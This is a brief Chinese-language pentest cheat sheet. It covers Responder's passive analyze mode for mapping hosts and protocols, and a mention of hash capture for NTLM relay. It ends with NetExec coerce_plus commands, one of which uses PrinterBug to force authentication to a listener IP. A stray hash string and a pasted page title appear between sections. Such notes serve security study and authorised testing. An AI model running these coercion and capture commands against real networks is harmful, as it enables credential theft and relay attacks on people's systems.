Responder

Responder（Python）是 LLMNR、NBTNS、MDNS 中毒和 WPAD 欺骗的强大工具，但它也可以用于“分析”模式。

  • BROWSER 模式：分析浏览服务（Browse Service）消息，并将 IP 地址与 NetBIOS 名称进行映射。
  • LANMAN 模式：被动地通过浏览器协议（Browser protocol）映射域控制器、服务器和加入域的工作站（详见 Trustwave 的《Responder 2.0 - Owning Windows Networks part 3》）。
  • LLMNR、NBTNS、MDNS 模式：分析广播和组播的名称解析请求。

以下命令可以启用分析模式，并获取如下有价值的信息：

  • 域控制器、SQL 服务器、工作站等主机信息- 完全限定域名（FQDN）
  • 使用中的 Windows 版本
  • 各种协议（如 LLMNR、NBTNS、MDNS、LANMAN、BROWSER）的“启用”或“禁用”状态
responder --interface "eth0" --analyze
responder -I "eth0" -A

常用于在 NTLMRelay 中进行捕获hash
907e2afe01794f6417a512c8e9efcec9_MD5
Scan for Vulnerabilities | NetExec

nxc smb ip  -u user -p pass -k -M coerce_plus #检查
nxc smb ip  -u user -p pass -k -M coerce_plus -o L=10.10.14.69 M=PrinterBug #认证